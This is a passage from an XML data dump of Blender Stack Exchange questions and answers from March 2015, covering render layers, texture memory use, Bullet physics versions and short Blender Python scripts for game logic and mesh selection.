AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="27683" PostTypeId="1" AcceptedAnswerId="27684" CreationDate="2015-03-24T03:46:33.927" Score="3" ViewCount="2759" Body="&lt;p&gt;I am trying to create a very simple product mockup using blender. I want to be able to save the actual product (cards) and the shadows as separate png files. I know this is possible, but I am just learning blender. Here is a link to the file I am working with: &lt;a href=&quot;http://www.bestideabox.com/test.blend&quot; rel=&quot;nofollow&quot;&gt;http://www.bestideabox.com/test.blend&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why this is not working the way I am expecting?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK; I have changed the blender file to represent the chosen answer and it does work. The shadows are saved to a separate layer. However they are different than when rendered altogether. I have placed the revised blender file here: &lt;a href=&quot;http://bestideabox.com/blender/test.blend&quot; rel=&quot;nofollow&quot;&gt;Blender File&lt;/a&gt; Here is all layers rendered together: &lt;a href=&quot;http://bestideabox.com/blender/All0001.png&quot; rel=&quot;nofollow&quot;&gt;All Layers&lt;/a&gt;. Here is each individual layer: &lt;a href=&quot;http://bestideabox.com/blender/Cards0001.png&quot; rel=&quot;nofollow&quot;&gt;Cards&lt;/a&gt; and &lt;a href=&quot;http://bestideabox.com/blender/Shadows0001.png&quot; rel=&quot;nofollow&quot;&gt;Shadows&lt;/a&gt; and here is the two individual layers laid on top of each other using photoshop: &lt;a href=&quot;http://bestideabox.com/blender/Merge.jpg&quot; rel=&quot;nofollow&quot;&gt;Merged Layers&lt;/a&gt;. As you can see the shadows layer does not line up at all. Infact they are a different shape all together. I also am having trouble exporting the plane texture by itself if anyone can help with that. &lt;/p&gt;&#xA;" OwnerUserId="13426" OwnerDisplayName="user3167249" LastEditorUserId="13426" LastEditDate="2015-03-30T20:11:59.347" LastActivityDate="2015-03-30T20:11:59.347" Title="Save Render and Shadow Layer Separately" Tags="&lt;rendering&gt;&lt;export&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27684" PostTypeId="2" ParentId="27683" CreationDate="2015-03-25T05:39:55.890" Score="3" Body="&lt;p&gt;The file output node has two properties that determine the file that the image is written to, the base path (in red) which is the folder to save in and the subpath (in green) which could be a filename or a folder/filename combination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKLxN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example file you have two file output nodes that use the same base path and subpath, the second file gets saved over the top of the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also don't need two file output nodes, you can add multiple inputs to one node that have their own subpath and optionally image type settings. This can help as it prevents two inputs using the same subpath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RsuCZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-03-25T05:39:55.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27685" PostTypeId="1" AcceptedAnswerId="27687" CreationDate="2015-03-26T03:00:45.140" Score="2" ViewCount="646" Body="&lt;p&gt;What version of Bullet Physics engine does the blender game engine use in 2.74?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know and I dont see listed anywhere and don't have Git on this computer yet.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-26T04:22:23.033" Title="What version of Bullet Physics engine does the blender game engine use in 2.74?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27686" PostTypeId="1" CreationDate="2015-03-26T03:33:19.653" Score="2" ViewCount="106" Body="&lt;p&gt;I made a lightsaber, and it's looking pretty good, but I have a few problems.  When I render it out, it looks like this:&lt;img src=&quot;https://i.stack.imgur.com/FyGjl.jpg&quot; alt=&quot;Rendered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the viewport rendered shading, it looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/t6rRf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come the exact same scene can have different reflections?  I would like the rendered image to look like it does in the viewport.  How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-03-26T03:33:19.653" Title="Weird reflections" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ClosedDate="2015-03-26T11:41:29.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="27687" PostTypeId="2" ParentId="27685" CreationDate="2015-03-26T04:22:23.033" Score="3" Body="&lt;p&gt;According to the commit notes which you can &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/extern/bullet2/src/&quot; rel=&quot;nofollow&quot;&gt;read online&lt;/a&gt; the current bullet version is from svn revision 2719 from 26 Dec 2013 which appears to be 14 revisions after the bullet 2.82 update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few newer changes but they appear to be blender only updates.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-26T04:22:23.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27688" PostTypeId="2" ParentId="27099" CreationDate="2015-03-26T04:25:03.543" Score="-1" Body="&lt;p&gt;What fixed my problem was applying a subsurf modifier to my ground.  I tried the options given to me in the first answer, but none of them seemed to work.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-03-26T04:25:03.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27689" PostTypeId="2" ParentId="27670" CreationDate="2015-03-26T05:07:26.537" Score="2" Body="&lt;p&gt;The molecular addon (and the cube surfer from the same author) are not pure python addons, they also use a shared library that needs to be compiled and located in the same addon folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For windows this will be &lt;code&gt;cmolcore.pyd&lt;/code&gt; which needs to be in &lt;code&gt;C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\Blender Foundation\Blender\2.7.3\scripts\addons\molecular\&lt;/code&gt; If the library file is there then you may have downloaded the 64bit version by mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still can't get it running you may need to compile a version specific to your machine. You can find the source files &lt;a href=&quot;https://github.com/Pyroevil/Blender-Molecular-Script&quot; rel=&quot;nofollow noreferrer&quot;&gt;on github&lt;/a&gt;, read &lt;a href=&quot;http://docs.cython.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the cython docs&lt;/a&gt; for how and if you have any problems compiling ask for help on &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;stackoverflow&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-03-26T05:07:26.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27690" PostTypeId="1" AcceptedAnswerId="27696" CreationDate="2015-03-26T06:18:40.030" Score="24" ViewCount="8920" Body="&lt;p&gt;Using a single 6K texture at only &lt;strong&gt;227kb&lt;/strong&gt; in size, spikes the memory usage to a crazy &lt;strong&gt;144mb&lt;/strong&gt; of memory in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was brought up in &lt;a href=&quot;https://developer.blender.org/T44108&quot;&gt;this bug report&lt;/a&gt;, but closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can image editors (Photoshop/Gimp/Krita) handle such large images but not Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats going on, and more importantly, what can be done to improve it?&lt;/p&gt;&#xA;" OwnerUserId="165" LastEditorUserId="55" LastEditDate="2015-03-26T08:26:45.143" LastActivityDate="2017-07-27T19:00:30.033" Title="Why does Blender use so much memory for large textures?" Tags="&lt;texturing&gt;&lt;memory-management&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27691" PostTypeId="2" ParentId="27254" CreationDate="2015-03-26T06:22:40.030" Score="3" Body="&lt;p&gt;As far as I know screenshots do not know transparency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround you can use a &lt;a href=&quot;http://en.wikipedia.org/wiki/Chroma_key&quot; rel=&quot;nofollow&quot;&gt;chroma-key&lt;/a&gt; technique to determine the background. This means you use a background color that is not used somewhere else in the picture and use it as transparency. This way you can easily remove that portions in your image editor.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-03-26T06:22:40.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27692" PostTypeId="2" ParentId="27223" CreationDate="2015-03-26T06:43:03.697" Score="4" Body="&lt;h1&gt;Organizing with states&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can use the states of the build-in state machine to group your bricks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows to quickly show/hide/switch logical groups. You can do that by selecting/deselecting states in the visible-state-bar. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Requirements&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Make sure all states with logic are enabled in the initial-state-bar.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This way you can group this logic:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jY343.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into movement logic:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uHz6t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using logic by keyboard&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1lE4F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and using logic by mouse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUwLs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hints&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You do not need to use the state machine operations (state&#xA;switching).  &lt;/li&gt;&#xA;&lt;li&gt;You can select multiple states at the same time by&#xA;holding  when selecting/deselecting a state.&lt;/li&gt;&#xA;&lt;li&gt;If you need more than the 30 available states I think it is time to review your design. Most-likely this object simply does too much. It would be better to spread the logic over multiple objects.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-03-26T06:48:22.763" LastActivityDate="2015-03-26T06:48:22.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27693" PostTypeId="2" ParentId="27690" CreationDate="2015-03-26T07:05:21.867" Score="14" Body="&lt;p&gt;Blender loads the whole texture uncompressed into the RAM to have better load times for the renderer. Let's see how far off we are.&lt;br&gt;&#xA;By 6k texture I think you mean a 6144 × 6144 pixel texture. That is 37748736 pixels with 4 channels (RGBA) and assuming each channel has 8 bits of information (e.g. JPG, most PNGs), it needs 37748736 × 4 × 8 = 1207959552 bits.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let us break it down to a readable number:&lt;br&gt;&#xA;1207959552/8/1024/1024 = 144 Megabyte.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you may have a 227kb compressed texture on your HDD, but 144 Mb raw RGBA data in your RAM.&lt;br&gt;&#xA;So why does image editor maybe handle big sized textures better? Ether 2 reasons, they don't or they stream it from your HDD which should be painfully slow.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:&#xA;To answer your question. There is not much that can be done to improve memory usage as you need the raw RGBA values to make something useful with those textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;br&gt;&#xA;Wasabi&lt;/p&gt;&#xA;" OwnerUserId="11137" LastEditorUserId="55" LastEditDate="2015-04-08T02:38:39.013" LastActivityDate="2015-04-08T02:38:39.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27694" PostTypeId="2" ParentId="27221" CreationDate="2015-03-26T07:32:24.013" Score="3" Body="&lt;p&gt;You already answered your question by your own:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Behavior:&#xA;When moving play walk animation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This implies:&#xA;When not walking -&gt; do not play walk animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you do not explicitly told the character to stop (e.g. by command) you need to detect any events that stop it from moving. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many options to detect such events:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;no movement requests from user&lt;/li&gt;&#xA;&lt;li&gt;getting other requests from user (e.g. jump, run, stand, crouch)&lt;/li&gt;&#xA;&lt;li&gt;hitting a wall &lt;/li&gt;&#xA;&lt;li&gt;floating (e.g. when falling, jumping) &lt;/li&gt;&#xA;&lt;li&gt;speed below a limit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I guess you want to know the last option. This is not possible with logic bricks. You need Python to activate actuators when the object does not move anymore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;controller = bge.logic.getCurrentController()&#xA;owner = controller.owner&#xA;&#xA;limit = owner.get(&quot;limit&quot;, 0.001)&#xA;&#xA;lastPosition = owner.get(&quot;_lastPosition&quot;)&#xA;position = owner.worldPosition.copy()&#xA;owner[&quot;_lastPosition&quot;] = position&#xA;&#xA;if lastPosition is not None:&#xA;    travelledDistance = (lastPosition-position).length&#xA;    if travelledDistance &amp;lt;= limit:&#xA;        for actuator in controller.actuators:&#xA;            controller.activate(actuator)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This needs to be activated all the time (enable True Level Triggering).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Attention&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;this is inefficient and should be used at a very limited number of occurrences&lt;/li&gt;&#xA;&lt;li&gt;this does not differentiate between other situations when the character is not moving (e.g. sitting, sleeping)&lt;/li&gt;&#xA;&lt;li&gt;you can tweak the limit by setting a float property limit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-03-26T07:32:24.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27695" PostTypeId="2" ParentId="26656" CreationDate="2015-03-26T07:45:12.500" Score="9" Body="&lt;h1&gt;Move emitter to desired location&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you move the emitter (with whatever method you want) before adding the new object will be added there.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Move added object to desired location&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You let the emitter create the object at one place and move it later (even in the same frame)&#xA;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;scene = bge.logic.getCurrentScene()&#xA;object = scene.addObject(&quot;Sphere&quot;,&quot;Sphere&quot;)&#xA;object.worldPosition = [1,1,1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to find out more about module/script mode please have a look at the &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?249757-Prof.-Monster-s-BGE-Guide-to-Python-Coding&quot; rel=&quot;noreferrer&quot;&gt;BGE Guide to Python Coding&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-03-27T06:07:01.593" LastActivityDate="2015-03-27T06:07:01.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27696" PostTypeId="2" ParentId="27690" CreationDate="2015-03-26T07:49:08.460" Score="33" Body="&lt;p&gt;3D applications often needs to have images directly accessible, that is - to be able to look up a pixels value instantly. common cases are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rendering a texture on a 3D model &lt;em&gt;(applies to any render engine).&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Load the image into OpenGL memory &lt;em&gt;(where the image is sent 'complete' to the graphics-card).&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since a 3D application is a less controlled environment (than a game-engine or 2D-paint-tool for example) - an image may be used for a modifier displacement map, composite node input, a background in the view-port or be painted onto - all at once. This means we have some constraints which make it harder to optimize for any single use-case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even so, there are strategies for better handling texture memory.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Free images from memory which aren't used often.&lt;/li&gt;&#xA;&lt;li&gt;Load lower resolution versions of the image into memory (&lt;em&gt;mipmaps&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Load partial regions of the image into memory.&lt;/li&gt;&#xA;&lt;li&gt;Support in-memory compression (&lt;em&gt;often used for OpenGL textures&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Support for lower bit-depth of channel options (monochrome, greyscale, limited color palette, &lt;em&gt;index-color&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Blender specifics&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;What Blender does now&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Images are freed from OpenGL memory if they aren't used&lt;br&gt;&lt;em&gt;see: User Preferences -&gt; System -&gt; Texture Time-Out&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Persistent images (Cycles only), disable so images are freed between renders.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;How Blender could be improved&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Avoid loading large images&lt;br&gt;&lt;em&gt;This would likely mean caching mipmaps&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Avoid loading the entire image&lt;br&gt;&lt;em&gt;This was implemented for 'Sintel' in the render branch, but was never included in a release.&lt;br&gt;see: &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Render/RenderBranch/ImageTileCache&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Source/Render/RenderBranch/ImageTileCache&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Better memory management, free images from memory (use a time-out similar to what we already have for OpenGL).&lt;/li&gt;&#xA;&lt;li&gt;Support OpenGL texture compression.&lt;/li&gt;&#xA;&lt;li&gt;Support loading textures into OpenGL memory, and freeing from system memory.&lt;/li&gt;&#xA;&lt;li&gt;Implement the same 2D tile-based systems used by image image editors,&lt;br&gt; &lt;em&gt;(but only use it for 2D-painting)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Comparisons with other fields&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Games&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Games have the advantage that textures can be pre-processed, compressed on-disk to be sent directly to the graphics-card in formats you wouldn't necessarily be able to open for editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They typically don't have to operate under the assumption that any texture may be painted or edited at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://www.opengl.org/wiki/S3_Texture_Compression&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.opengl.org/wiki/S3_Texture_Compression&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Image Editors/Painting Tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Don't have to load the texture into graphics-memory to display on 3D models, so they can use their own in-memory representation of images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also have the advantage that each image view has a single zoom-level, (unlike a texture mapped to a 3D-mesh, which may need to access multiple mip-maps at once). So they can - for example, streamline managing multiple tile-sets at different zoom levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See notes on krita's tile manager: &lt;a href=&quot;http://dimula73.blogspot.com.au/2014/07/notes-from-calligra-sprint-part-2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dimula73.blogspot.com.au/2014/07/notes-from-calligra-sprint-part-2.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, the on-disk size of an image isn't all that meaningful.&#xA;if a 6k texture only takes ~200kb - Its likely not very detailed, a single color image or highly compressed (lossy).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You can ZIP a &lt;code&gt;.txt&lt;/code&gt; file with your name written a million times into a few kb, but try editing this as an email :)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-07-27T19:00:30.033" LastActivityDate="2017-07-27T19:00:30.033" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27697" PostTypeId="2" ParentId="26282" CreationDate="2015-03-26T08:07:52.223" Score="1" Body="&lt;p&gt;It sounds like you enabled semi-transparency (alpha-blend/alpha-sort) at your meshes. This usually happens when you import the mesh from another format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switching off the transparency in you materials should fix the problem. &lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-03-26T08:07:52.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27698" PostTypeId="1" AcceptedAnswerId="27704" CreationDate="2015-03-26T08:09:42.593" Score="6" ViewCount="5534" Body="&lt;p&gt;How to select all the edges through the YZ plane with a python script ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LC3RP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this script which do it for faces but I don't know the equivalent for edges :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;&#xA;for face in bm.faces:&#xA;&#xA;    center = face.calc_center_median()&#xA;&#xA;    if center.x == 0:&#xA;&#xA;        face.select_set(True)&#xA;&#xA;bm.to_mesh(me)&#xA;bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12685" LastEditorUserId="12685" LastEditDate="2015-03-26T10:01:09.473" LastActivityDate="2015-03-26T11:32:43.960" Title="How to select particular edges with a python script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27699" PostTypeId="2" ParentId="24179" CreationDate="2015-03-26T08:20:43.280" Score="4" Body="&lt;p&gt;This is only possible via Python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you turn the order of the vertices for each single polygon (face) by exchanging &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bge.types.KX_VertexProxy.html#bge.types.KX_VertexProxy.XYZ&quot; rel=&quot;nofollow noreferrer&quot;&gt;the positions&lt;/a&gt; of the first and third vertex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;flipping triangles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DW7KR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;flipping quads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AhODC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bge.types.KX_VertexProxy.html#bge.types.KX_VertexProxy.setNormal&quot; rel=&quot;nofollow noreferrer&quot;&gt;set the vertex normal too&lt;/a&gt; to correct the shading.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Attention:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;KX_PolyProxy does not provide the right vertices when the mesh consists of a mix of quads and triangles (Blender 2.73 and earlier). I do not know when this gets fixed.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-03-27T06:18:27.770" LastActivityDate="2015-03-27T06:18:27.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27702" PostTypeId="2" ParentId="27424" CreationDate="2015-03-26T09:10:04.810" Score="1" Body="&lt;p&gt;&lt;strong&gt;settings for cycles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Render&lt;/strong&gt; panel &gt; &lt;strong&gt;Film&lt;/strong&gt; &gt; Tick &lt;strong&gt;Transperant&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the scene strip you added and on right-hand side you will find a panel (if hidden &quot;toggle n&quot;) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;go to &lt;strong&gt;blend&lt;/strong&gt; which by default is &quot;Cross&quot; make it &quot;Alpha over&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATvx6.png&quot; alt=&quot;Rendering using cycles&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;settings for Blender render engine Simple&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKMtk.png&quot; alt=&quot;Blender render setting&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-03-26T09:10:04.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27703" PostTypeId="1" CreationDate="2015-03-26T10:06:42.623" Score="6" ViewCount="558" Body="&lt;p&gt;I created a &quot;blender scene&quot; each for scene i am going to work Ex&#xA;&lt;code&gt;&quot;Sc_1&quot;,&quot;Sc_2&quot;,&quot;Sc_3&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tyXcp.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cNqZ9.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pABD3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i Create One more &quot;Blender scene&quot; called &quot;Complete&quot; and &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&#xA;add scenes &lt;code&gt;&quot;Sc_1&quot;,&quot;Sc_2&quot;,&quot;Sc_3&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SDMrI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set &lt;em&gt;Render &gt; Post-processing &gt; Sequencer Only&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When render or preview &lt;strong&gt;I see no image but hear audio&lt;/strong&gt;. What could cause this?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="6204" LastEditDate="2015-04-16T01:19:48.957" LastActivityDate="2016-01-22T16:55:30.027" Title="Sequence from another scene imported into current scene causes only audio to render" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27704" PostTypeId="2" ParentId="27698" CreationDate="2015-03-26T11:03:26.847" Score="9" Body="&lt;p&gt;Armed with the extra information consider:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;&#xA;EPSILON = 1.0e-5&#xA;&#xA;for vert in bm.verts:&#xA;    if -EPSILON &amp;lt;= vert.co.x &amp;lt;= EPSILON:&#xA;        vert.select = True&#xA;&#xA;bm.to_mesh(me)&#xA;bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some clarification perhaps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EPSILON represents a value that is close to 0. If you've ever inspected coordinates closely in Blender you will find a cut off point maybe at around 6 or 7 digits after the decimal where you start to encounter artefacts in the representation of that float. Because 0 and 0.0000012312423 are not the same number you 